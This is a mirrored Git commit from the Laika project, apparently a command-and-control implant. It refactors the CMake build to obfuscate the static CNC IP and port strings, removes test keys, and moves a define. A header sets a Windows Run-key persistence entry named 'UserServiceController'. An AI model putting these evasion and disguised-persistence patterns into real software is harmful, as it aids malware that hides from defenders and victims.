mirror of
https://github.com/CPunch/Laika.git
synced 2025-11-12 16:00:04 +00:00
VMBoxGen refactor, obfuscate static CNC ip & port strings
- VMBoxGen is built before shared lib - VMBoxGen has no reliance on the shared lib, just the config file - main config was moved to the root cmakelists
This commit is contained in:
@@ -2,42 +2,11 @@ cmake_minimum_required(VERSION 3.16)
|
||||
|
||||
set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
|
||||
|
||||
# DO NOT USE THESE KEYS, TESTING ONLY
|
||||
if(NOT LAIKA_PUBKEY)
|
||||
set(LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27")
|
||||
endif ()
|
||||
|
||||
if(NOT LAIKA_PRIVKEY)
|
||||
set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc")
|
||||
endif ()
|
||||
|
||||
if(NOT LAIKA_CNC_IP)
|
||||
set(LAIKA_CNC_IP "127.0.0.1")
|
||||
endif ()
|
||||
|
||||
if(NOT LAIKA_CNC_PORT)
|
||||
set(LAIKA_CNC_PORT "13337")
|
||||
endif ()
|
||||
|
||||
# version details
|
||||
set(LAIKA_VERSION_MAJOR 0)
|
||||
set(LAIKA_VERSION_MINOR 2)
|
||||
set(SODIUM_DISABLE_TESTS ON)
|
||||
|
||||
# vmbox config location
|
||||
set(LAIKA_VMBOXCONFIG ${LIB_INCLUDEDIR}/lboxconfig.h PARENT_SCOPE)
|
||||
|
||||
project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
|
||||
|
||||
message(STATUS "Building config file...")
|
||||
configure_file(${LIB_INCLUDEDIR}/lconfig.h.in ${LIB_INCLUDEDIR}/lconfig.h)
|
||||
|
||||
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
|
||||
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||
|
||||
# include libsodium
|
||||
add_subdirectory(libsodium)
|
||||
|
||||
# compile LaikaLib library
|
||||
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c)
|
||||
file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
||||
|
||||
@@ -44,4 +44,6 @@
|
||||
#define LAIKA_WIN_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||
#define LAIKA_WIN_REG_VAL "UserServiceController"
|
||||
|
||||
#define LAIKA_VM_CODESIZE 512
|
||||
|
||||
#endif
|
||||
@@ -14,7 +14,6 @@
|
||||
#include "laika.h"
|
||||
#include "lerror.h"
|
||||
|
||||
#define LAIKA_VM_CODESIZE 512
|
||||
#define LAIKA_VM_STACKSIZE 64
|
||||
#define LAIKA_VM_CONSTSIZE 32
|
||||
|
||||
|
||||
Submodule lib/libsodium deleted from a606dc79ed
Reference in New Issue
Block a user